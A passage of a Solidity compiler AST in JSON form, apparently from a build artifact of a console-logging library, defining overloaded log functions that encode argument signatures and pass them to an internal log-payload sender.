memory)"}},"id":17504,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15916:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17497,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"15900:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17505,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15900:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17506,"nodeType":"ExpressionStatement","src":"15900:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15842:3:14","parameters":{"id":17495,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17490,"mutability":"mutable","name":"p0","nameLocation":"15851:2:14","nodeType":"VariableDeclaration","scope":17508,"src":"15846:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17489,"name":"bool","nodeType":"ElementaryTypeName","src":"15846:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17492,"mutability":"mutable","name":"p1","nameLocation":"15863:2:14","nodeType":"VariableDeclaration","scope":17508,"src":"15855:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17491,"name":"address","nodeType":"ElementaryTypeName","src":"15855:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17494,"mutability":"mutable","name":"p2","nameLocation":"15872:2:14","nodeType":"VariableDeclaration","scope":17508,"src":"15867:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17493,"name":"bool","nodeType":"ElementaryTypeName","src":"15867:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"15845:30:14"},"returnParameters":{"id":17496,"nodeType":"ParameterList","parameters":[],"src":"15890:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17528,"nodeType":"FunctionDefinition","src":"15991:158:14","nodes":[],"body":{"id":17527,"nodeType":"Block","src":"16051:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c6164647265737329","id":17520,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16101:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d2763667477f08a6a3f8ce84e1cc1aeb5e67ee2996f5f36e8939da2b8b8f0265","typeString":"literal_string \"log(bool,address,address)\""},"value":"log(bool,address,address)"},{"id":17521,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17510,"src":"16130:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17522,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17512,"src":"16134:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17523,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17514,"src":"16138:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d2763667477f08a6a3f8ce84e1cc1aeb5e67ee2996f5f36e8939da2b8b8f0265","typeString":"literal_string \"log(bool,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17518,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16077:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17519,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16081:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16077:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16077:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17517,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"16061:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16061:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17526,"nodeType":"ExpressionStatement","src":"16061:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16000:3:14","parameters":{"id":17515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17510,"mutability":"mutable","name":"p0","nameLocation":"16009:2:14","nodeType":"VariableDeclaration","scope":17528,"src":"16004:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17509,"name":"bool","nodeType":"ElementaryTypeName","src":"16004:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17512,"mutability":"mutable","name":"p1","nameLocation":"16021:2:14","nodeType":"VariableDeclaration","scope":17528,"src":"16013:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17511,"name":"address","nodeType":"ElementaryTypeName","src":"16013:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17514,"mutability":"mutable","name":"p2","nameLocation":"16033:2:14","nodeType":"VariableDeclaration","scope":17528,"src":"16025:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17513,"name":"address","nodeType":"ElementaryTypeName","src":"16025:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16003:33:14"},"returnParameters":{"id":17516,"nodeType":"ParameterList","parameters":[],"src":"16051:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17548,"nodeType":"FunctionDefinition","src":"16155:152:14","nodes":[],"body":{"id":17547,"nodeType":"Block","src":"16212:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c75696e7429","id":17540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16262:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8786135eae1a8e4736031518026bd3bd30886c3cc8d3e8bdedd6faea426de5ea","typeString":"literal_string \"log(address,uint,uint)\""},"value":"log(address,uint,uint)"},{"id":17541,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17530,"src":"16288:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17542,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17532,"src":"16292:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17543,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17534,"src":"16296:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8786135eae1a8e4736031518026bd3bd30886c3cc8d3e8bdedd6faea426de5ea","typeString":"literal_string \"log(address,uint,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17538,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16238:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17539,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16242:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16238:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17544,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16238:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17537,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"16222:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17545,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16222:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17546,"nodeType":"ExpressionStatement","src":"16222:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16164:3:14","parameters":{"id":17535,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17530,"mutability":"mutable","name":"p0","nameLocation":"16176:2:14","nodeType":"VariableDeclaration","scope":17548,"src":"16168:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17529,"name":"address","nodeType":"ElementaryTypeName","src":"16168:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17532,"mutability":"mutable","name":"p1","nameLocation":"16185:2:14","nodeType":"VariableDeclaration","scope":17548,"src":"16180:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17531,"name":"uint","nodeType":"ElementaryTypeName","src":"16180:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17534,"mutability":"mutable","name":"p2","nameLocation":"16194:2:14","nodeType":"VariableDeclaration","scope":17548,"src":"16189:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17533,"name":"uint","nodeType":"ElementaryTypeName","src":"16189:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16167:30:14"},"returnParameters":{"id":17536,"nodeType":"ParameterList","parameters":[],"src":"16212:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17568,"nodeType":"FunctionDefinition","src":"16313:163:14","nodes":[],"body":{"id":17567,"nodeType":"Block","src":"16379:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c737472696e6729","id":17560,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16429:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_baf968498a2094de432bd16841b992056c14db9f313a6b44c3156c2b5f1dc2b4","typeString":"literal_string \"log(address,uint,string)\""},"value":"log(address,uint,string)"},{"id":17561,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17550,"src":"16457:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17562,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17552,"src":"16461:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17563,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17554,"src":"16465:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_baf968498a2094de432bd16841b992056c14db9f313a6b44c3156c2b5f1dc2b4","typeString":"literal_string \"log(address,uint,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17558,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16405:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17559,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16409:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16405:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17564,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16405:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17557,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"16389:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17565,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16389:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17566,"nodeType":"ExpressionStatement","src":"16389:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16322:3:14","parameters":{"id":17555,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17550,"mutability":"mutable","name":"p0","nameLocation":"16334:2:14","nodeType":"VariableDeclaration","scope":17568,"src":"16326:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17549,"name":"address","nodeType":"ElementaryTypeName","src":"16326:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17552,"mutability":"mutable","name":"p1","nameLocation":"16343:2:14","nodeType":"VariableDeclaration","scope":17568,"src":"16338:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17551,"name":"uint","nodeType":"ElementaryTypeName","src":"16338:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17554,"mutability":"mutable","name":"p2","nameLocation":"16361:2:14","nodeType":"VariableDeclaration","scope":17568,"src":"16347:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17553,"name":"string","nodeType":"ElementaryTypeName","src":"16347:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16325:39:14"},"returnParameters":{"id":17556,"nodeType":"ParameterList","parameters":[],"src":"16379:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17588,"nodeType":"FunctionDefinition","src":"16482:152:14","nodes":[],"body":{"id":17587,"nodeType":"Block","src":"16539:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c626f6f6c29","id":17580,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16589:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e54ae1445cd51f09e801fc5885e33c709102997417d3d9b6f543f7724468b4e4","typeString":"literal_string \"log(address,uint,bool)\""},"value":"log(address,uint,bool)"},{"id":17581,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17570,"src":"16615:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17582,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17572,"src":"16619:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17583,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17574,"src":"16623:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e54ae1445cd51f09e801fc5885e33c709102997417d3d9b6f543f7724468b4e4","typeString":"literal_string \"log(address,uint,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17578,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16565:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17579,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16569:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16565:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17584,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16565:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17577,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"16549:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17585,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16549:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17586,"nodeType":"ExpressionStatement","src":"16549:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16491:3:14","parameters":{"id":17575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17570,"mutability":"mutable","name":"p0","nameLocation":"16503:2:14","nodeType":"VariableDeclaration","scope":17588,"src":"16495:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17569,"name":"address","nodeType":"ElementaryTypeName","src":"16495:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17572,"mutability":"mutable","name":"p1","nameLocation":"16512:2:14","nodeType":"VariableDeclaration","scope":17588,"src":"16507:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17571,"name":"uint","nodeType":"ElementaryTypeName","src":"16507:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17574,"mutability":"mutable","name":"p2","nameLocation":"16521:2:14","nodeType":"VariableDeclaration","scope":17588,"src":"16516:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17573,"name":"bool","nodeType":"ElementaryTypeName","src":"16516:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"16494:30:14"},"returnParameters":{"id":17576,"nodeType":"ParameterList","parameters":[],"src":"16539:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17608,"nodeType":"FunctionDefinition","src":"16640:158:14","nodes":[],"body":{"id":17607,"nodeType":"Block","src":"16700:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c6164647265737329","id":17600,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16750:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_97eca3948a309251ff02cc4a3cb96f84ac4b6b4bdc56e86c9f0131c9b70c6259","typeString":"literal_string \"log(address,uint,address)\""},"value":"log(address,uint,address)"},{"id":17601,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17590,"src":"16779:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17602,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17592,"src":"16783:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17603,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17594,"src":"16787:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_97eca3948a309251ff02cc4a3cb96f84ac4b6b4bdc56e86c9f0131c9b70c6259","typeString":"literal_string \"log(address,uint,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17598,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16726:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16730:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16726:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16726:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17597,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"16710:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16710:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17606,"nodeType":"ExpressionStatement","src":"16710:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16649:3:14","parameters":{"id":17595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17590,"mutability":"mutable","name":"p0","nameLocation":"16661:2:14","nodeType":"VariableDeclaration","scope":17608,"src":"16653:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17589,"name":"address","nodeType":"ElementaryTypeName","src":"16653:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17592,"mutability":"mutable","name":"p1","nameLocation":"16670:2:14","nodeType":"VariableDeclaration","scope":17608,"src":"16665:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17591,"name":"uint","nodeType":"ElementaryTypeName","src":"16665:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17594,"mutability":"mutable","name":"p2","nameLocation":"16682:2:14","nodeType":"VariableDeclaration","scope":17608,"src":"16674:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17593,"name":"address","nodeType":"ElementaryTypeName","src":"16674:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16652:33:14"},"returnParameters":{"id":17596,"nodeType":"ParameterList","parameters":[],"src":"16700:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17628,"nodeType":"FunctionDefinition","src":"16804:163:14","nodes":[],"body":{"id":17627,"nodeType":"Block","src":"16870:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e7429","id":17620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16920:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1cdaf28a630ff01c83e1629295cea6793da60638603e831a5c07be53dbee3597","typeString":"literal_string \"log(address,string,uint)\""},"value":"log(address,string,uint)"},{"id":17621,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17610,"src":"16948:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17622,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17612,"src":"16952:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17623,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17614,"src":"16956:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1cdaf28a630ff01c83e1629295cea6793da60638603e831a5c07be53dbee3597","typeString":"literal_string \"log(address,string,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17618,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16896:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17619,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16900:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16896:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17624,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16896:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17617,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"16880:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 